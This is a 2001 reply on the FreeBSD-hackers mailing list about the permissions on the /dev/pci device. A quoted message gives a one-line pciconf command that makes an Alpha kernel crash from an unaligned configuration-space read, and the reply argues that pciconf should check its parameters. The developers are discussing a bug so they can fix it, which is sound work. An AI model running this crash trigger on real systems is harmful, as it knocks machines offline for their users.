Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200102030410.f134AAW35066@mobile.wemm.org>; from peter@netplex.com.au on Fri, Feb 02, 2001 at 08:10:10PM -0800 Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, 2 February 2001 at 20:10:10 -0800, Peter Wemm wrote: > Robert Watson wrote: > >> crw-r--r-- 1 root wheel 78, 0 Dec 31 1969 pci > > This one may appear harmless, but it is not. It is trivially easy to create > an alignment fault (fatal on an alpha) with the userland pciconf tool. > We must not allow this to be used by users until the kernel part is fixed. > > Eg: try this on an alpha: pciconf -r -l pci0:x:x 0x3 - ie: read a longword > at byte offset 3 in configuration space.. kaboom! This looks like a separate issue. Presumably you can do this as root as well. pciconf should check the parameters. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message